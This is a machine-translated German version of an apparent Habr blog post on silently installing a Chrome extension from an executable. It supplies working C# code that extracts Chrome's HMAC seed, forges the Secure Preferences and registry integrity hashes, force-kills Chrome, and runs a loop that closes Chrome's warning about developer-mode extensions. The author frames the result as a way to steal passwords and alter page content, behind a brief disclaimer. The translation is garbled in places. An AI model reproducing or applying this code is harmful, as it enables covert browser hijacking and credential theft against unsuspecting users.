Chrome Reverse und Extension Installation



Guten Tag, lieber Leser! Chrome wird aktualisiert, aber es gibt keine neuen Artikel zum programmgesteuerten Installieren einer Erweiterung in Chrome, außer --load-extension - aber dies ist nicht unsere Option, da wir nicht nach einfachen Möglichkeiten suchen. Heute werde ich Ihnen sagen, wie es wirklich möglich ist, alles mit einem einzigen exe-shnik zu erreichen: Passwörter, Ersetzen von Inhalten, Stehlen usw. - Dies ist jedoch kein Aufruf zum Handeln , sondern nur ein Artikel zur Überprüfung. Der ganze Saft unter dem Schnitt.

Was ermöglicht es uns also, die Erweiterung im Entwicklermodus durchzuführen? Nun, wie eine reguläre Erweiterung kann es auf allen Websites funktionieren und zum Beispiel Passwörter knacken, Anzeigen implementieren und so weiter. Die Erweiterung im Entwicklermodus bietet jedoch Zugriff auf eine andere Funktion, die nicht sehr wichtig zu sein scheint, aber nützlich werden kann: Wir haben Zugriff auf das Dateisystem. Ja, wir werden diesen Exploit aus einer exe-Datei heraus starten und brauchen ihn im Prinzip nicht wirklich, aber was ist, wenn?

Wir analysieren Dateien


Für den Anfang können Sie also sehen, welche Dateien sich nach der Installation der Erweiterung unterscheiden. Wir können feststellen, dass es sich um% appdata% \ .. \ Local \ Google \ Chrome \ Benutzerdaten \ <Profil> \ Sichere Einstellungen handelt. Lassen Sie uns den Inhalt kopieren, die Erweiterung löschen und die Kopie wiederherstellen - bam hier! und die Erweiterung funktioniert wieder. Wenn Sie sich die ID ansehen, sehen Sie, dass sich mit diesem Schlüssel zwei Werte ändern: extensions.settings.id und protected.macs.extensions.settings.id - der erste sind Einstellungen, der zweite ist eine Art Hash. Wir klettern in die Sorten und sehen - das ist der HMAC SHA256. Aber woher bekommt er es? Lassen Sie uns in den Debugger einsteigen, an Chrome anhängen und Symbole von laden
https://chromium-browser-symsrv.commondatastorage.googleapis.com

Vergewaltigung Chrom


Wow! Wir finden die Datei pref_hash_calculator.cc, laden sie herunter, setzen eine Pause ein

 std::string PrefHashCalculator::Calculate(const std::string& path, const base::Value* value) const 

Op - wir erhalten seed_ - den Schlüssel für HMAC, und wir stellen auch fest, dass er drei Zeilen verkettet und das Ergebnis als HMACSHA256 (device_id + path + value, seed_) verwendet. Okay, schauen wir uns unseren seed_ an - und hier erwartet uns das erste Leid: Es ist nur die Zeile "ChromeRegistryHashStoreValidationSeed" - fragen Sie, was ist daran falsch? Und schauen wir uns das Ergebnis der Berechnung an, vergleichen Sie den resultierenden Hash und Hash in der Datei entlang dieses Pfades - wir sind enttäuscht, aber nein! Das Schlüsselwort im Schlüssel ist "Registrierung", wir klettern in die Registrierung, schauen - und tatsächlich ist dies der Schlüssel für Hashes in der Registrierung, wir werden ihn brauchen.

Debit, Debase und überall nur dieser Schlüssel, was ist los? Schauen wir uns nun an, wie lang ein Standardschlüssel für den HMACSHA256 sein sollte. 64 Bytes, und höchstwahrscheinlich ist dies keine Zeile, sondern eine Art Byte. Sortieren? Hab keine zeit Die erste Annahme - unser seed_ ist in jeder Chrome-Version fest codiert - ist, dass wir versuchen, alle Optionen für 64x aufeinanderfolgende Bytes in Binärdateien und Chrome-Dateien zu sortieren. Wir schreiben ein einfaches Skript und in ungefähr einer Stunde erhalten wir das erste Ergebnis: Unser seed_ liegt in resources.pak. Lassen Sie uns die Struktur googeln.



Version 4, unsere ist 5. Irgendwas stimmt nicht, vielleicht hat sich die Struktur nicht geändert? Aber nein. Nach einigen Versuchen stellen wir fest, dass die Struktur wie folgt ist: 4 Bytes Version (5), 4 Bytes - Codierung? (1), 2 Bytes - Anzahl der Datensätze, 2 Bytes, es ist nicht klar, was. Als nächstes folgen die Einträge im Format: 2 Bytes - ID, 4 Bytes - Offset relativ zum Dateianfang. Wir suchen einen Abschnitt mit einer Länge von 64 Bytes - und ja, wir finden es, das ist unser seed_. Schreiben wir nun eine Funktion zur Suche nach seed_ in resources.pak für die Datei der 4. und 5. Version:

 public static byte[] GetSeed(string resources_pak) { //Open stream using (FileStream fs = File.OpenRead(resources_pak)) using (BinaryReader reader = new BinaryReader(fs)) { // Read in all pairs. //4 bytes - Version (Assume, that is 5 or 4) int version = reader.ReadInt32(); int second_dword = reader.ReadInt32(); int count = 0; if (version == 0x05) { count = (reader.ReadUInt16()) + 1; reader.ReadUInt16(); } else { count = second_dword; //Skip useless byte reader.ReadByte(); } uint last_offset = (uint)(count) * 6 + (uint)fs.Position; for (int i = 0; i < count; i++) { //Word: ID uint id = (uint)reader.ReadInt16(); //DWord: Offset from file start uint offset = (reader.ReadUInt32()); //Assume, that seed_ is 64 bytes long if (offset - last_offset == 64) { //Save last position in file long last = fs.Position; //Go to section position fs.Seek(last_offset, SeekOrigin.Begin); //Allocate space uint want = offset - last_offset; byte[] u = new byte[want]; for (int o = 0; o < want; o++) u[o] = reader.ReadByte(); //Return carret back fs.Seek(last, SeekOrigin.Begin); return u; } last_offset = offset; } } return null; } 

Okay, ändern wir die Einstellungen und versuchen, den Hash-Fehler zu ersetzen. Das erste, was bei Chrome-Sortierungen zu finden ist, ist, dass alle leeren Objekte aus dem Wert entfernt werden. Okay, es heißt - fertig.

Wieder ein Fehler - wir müssen das gleiche HMACSHA256 auch aus protected.macs generieren. In diesem Fall muss der Pfad weggelassen werden. Großartig! Erhalten. Aber wir haben device_id komplett vergessen - wo kann ich es bekommen? In älteren Versionen ist dies MachineID aus einer RLZ-Bibliothek eines Drittanbieters. In den neuen nur die SID des PCs. Wie bekomme ich es? Für die zweite Option und neue Versionen von Chrom:

 public static string GetSID() { StringBuilder sb = new StringBuilder(260); int size = 260; GetComputerName(sb, ref size); byte[] Sid = null; uint cbSid = 0; string accountName = sb.ToString(); StringBuilder referencedDomainName = new StringBuilder(); uint cchReferencedDomainName = (uint)referencedDomainName.Capacity; SID_NAME_USE sidUse; int err = NO_ERROR; if (!LookupAccountName(null, accountName, Sid, ref cbSid, referencedDomainName, ref cchReferencedDomainName, out sidUse)) { err = Marshal.GetLastWin32Error(); if (err == ERROR_INSUFFICIENT_BUFFER || err == ERROR_INVALID_FLAGS) { Sid = new byte[cbSid]; referencedDomainName.EnsureCapacity((int)cchReferencedDomainName); err = NO_ERROR; if (!LookupAccountName(null, accountName, Sid, ref cbSid, referencedDomainName, ref cchReferencedDomainName, out sidUse)) err = Marshal.GetLastWin32Error(); } } else { // Consider throwing an exception since no result was found } if (err == 0) { if (!ConvertSidToStringSid(Sid, out IntPtr ptrSid)) { err = Marshal.GetLastWin32Error(); } else { string sidString = Marshal.PtrToStringAuto(ptrSid); LocalFree(ptrSid); return sidString; } } return null; } 

Und für die alte Version:

 public static string GetMachineId(string sid) { string dir = Environment.SystemDirectory; dir = dir.Substring(0, dir.IndexOf("\\") + 1); StringBuilder volname = new StringBuilder(261); StringBuilder fsname = new StringBuilder(261); uint sernum, maxlen; FileSystemFeature flags; if (!GetVolumeInformation(dir, volname, volname.Capacity, out sernum, out maxlen, out flags, fsname, fsname.Capacity)) Marshal.ThrowExceptionForHR(Marshal.GetHRForLastWin32Error()); byte[] sid_str = (Hash(sid)); byte[] bts = new byte[sid_str.Length + 4]; for (int i = 0; i < sid_str.Length; i++) bts[i] = sid_str[i]; for (int i = 0; i < sizeof(int); i++) { int shift_bits = 8 * (sizeof(int) - i - 1); bts[sid_str.Length + i] = (byte)((sernum >> shift_bits) & 0xFF); } byte b = Crc8.Gen(bts); var sb = new StringBuilder(bts.Length + 1); foreach (byte bb in bts) sb.Append(bb.ToString("X2")); sb.Append(b.ToString("X2")); return sb.ToString(); } 

Und so bleibt es, sich über die Einstellungen lustig zu machen und die Datei zu speichern, aber das Chrome zu schließen:

  public static void Install() { string path = Unzip(); string id = ""; string flags = "" + ((1 << 7) | (1 << 2)); string loc = "4"; id = "dblokgoogmhjemeebajnamjdmloolcjd"; string setting = "  "; preferences = SetValue(preferences, "extensions.settings." + id, setting.Replace("<", "\\u003C")); preferences = SetValue(preferences, "protection.macs.extensions.settings." + id, ComputeHash(seed_, "extensions.settings." + id, Serialize(JSONParser.ParseValue(typeof(object), setting)))); string abc = "HKEY_CURRENT_USER\\Software\\Google\\Chrome\\PreferenceMACs\\Default\\extensions.settings"; string reg_key = ComputeHash(Encoding.ASCII.GetBytes("ChromeRegistryHashStoreValidationSeed"), "extensions.settings." + id, Serialize(JSONParser.ParseValue(typeof(object), setting))); Registry.SetValue(abc, id, reg_key); string macs = GetSecure("protection.macs"); preferences = SetValue(preferences, "protection.super_mac", ComputeHash(seed_, "", macs)); Process process = new Process(); // Stop the process from opening a new window process.StartInfo.RedirectStandardOutput = true; process.StartInfo.UseShellExecute = false; process.StartInfo.CreateNoWindow = true; // Setup executable and parameters process.StartInfo.FileName = @"taskkill.exe"; process.StartInfo.Arguments = "/im chrome.exe /f"; // Go process.Start(); process.WaitForExit(); Thread.Sleep(150); File.WriteAllText(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\..\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences", preferences); } 

Beachten Sie außerdem, dass jetzt beim Öffnen des Browsers das Fenster "Deaktivieren von Erweiterungen im Entwicklermodus" geöffnet wird. Das Schließen ist bereits jedermanns Sache. Wie kann ich einen Stream hinter mir lassen, der dieses Fenster über WinAPI schließt:

 public static void CheckWindows() { while (true) { Process[] pcs = Process.GetProcessesByName("chrome"); if (pcs.Length > 0) { List<IntPtr> ww = GetChildWindows(IntPtr.Zero); foreach (var hwnd in ww) { try { uint pidd = 0; GetWindowThreadProcessId(hwnd, out pidd); IntPtr pid = (IntPtr)pidd; IntPtr hProcess = OpenProcess(0x0410, false, pidd); StringBuilder text = new StringBuilder(1000); GetModuleFileNameEx(hProcess, IntPtr.Zero, text, text.Capacity); CloseHandle(hProcess); if (!text.ToString().EndsWith("chrome.exe")) continue; const int nChars = 256; StringBuilder Buff = new StringBuilder(nChars); if (GetWindowText(hwnd, Buff, nChars) > 0) { string name = Buff.ToString(); if (names.Contains(name)) SendMessage((IntPtr)hwnd, WM_CLOSE, IntPtr.Zero, IntPtr.Zero); } Thread.Sleep(1); } catch { } Thread.Sleep(1); } } else Thread.Sleep(10); } } 

Viel Glück und ethisches Hacken! Wer weiß, wie man das gleiche mit Yandex Browser macht - es wäre sehr interessant zu wissen, ob ich seit einer Woche versuche, es aufzunehmen, es funktioniert nicht.

Source: https://habr.com/ru/post/de438898/


All Articles